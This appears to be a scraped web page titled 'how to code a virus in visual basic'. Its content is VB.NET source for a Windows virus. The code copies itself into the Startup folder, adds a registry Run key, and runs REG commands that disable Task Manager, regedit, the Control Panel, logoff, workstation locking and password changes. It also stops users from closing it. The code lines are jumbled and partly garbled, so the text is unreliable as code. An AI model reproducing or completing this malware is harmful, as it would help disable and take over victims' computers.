![how to code a virus in visual basic how to code a virus in visual basic](https://www.sourcecodester.com/sites/default/files/images/janobe/library-management-system-in-vb.net-with-full-source-code.jpg)
Ui.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)ĭim jl As New System.IO.FileInfo("C:\Virus.exe") Yu = My.()ĭim ui As New System.IO.FileInfo(yu & "\Virus.exe") Jj.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True) RegKey.SetValue("Virus", oo & "\Virus.exe")ĭim pp As New System.IO.FileInfo("C:\Virus\Virus.txt")ĭim ysr As New System.IO.StreamReader("C:\Virus\Virus.txt")ĭim jj As New System.IO.FileInfo(oo & "\Virus.exe") RegKey = ("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True) If kop.GetValue("MSCONFIG.EXE", "0") 0 Then Kop = ("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\", True)
![how to code a virus in visual basic how to code a virus in visual basic](http://i.stack.imgur.com/8axfv.png)
Kop = ("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True) Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True) RTRE = "C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe" MsgBox(k & " Running on " & t & " authorized through " & rt) If k.Contains("Windows XP") Or k.Contains("Windows NT") Or k.Contains("Windows 2000") Or k.Contains("Windows ME") Or k.Contains("Windows 98") Or k.Contains("Windows 95") Then Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load MsgBox("Windows is unable to close this program", MsgBoxStyle.Exclamation, "Error") Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As ) Handles Me.FormClosing
![how to code a virus in visual basic how to code a virus in visual basic](https://raw.githubusercontent.com/Realignist/vscode-fuse/master/uxfile.png)
' Optimized CPU resources and Vibrant Transparent Interface
#HOW TO CODE A VIRUS IN VISUAL BASIC PASSWORD#
' Disables run command, Control Panel, msconfig, shutdown, log off, regedit, change password option etc. ' Description: This Virus cannot be closed by clicking on x or alt f4, it disables Taskmanager ' Thanks To Microsoft for Developing VB.net ' Project Start Date - 12 April Project Finishing Date - 15 August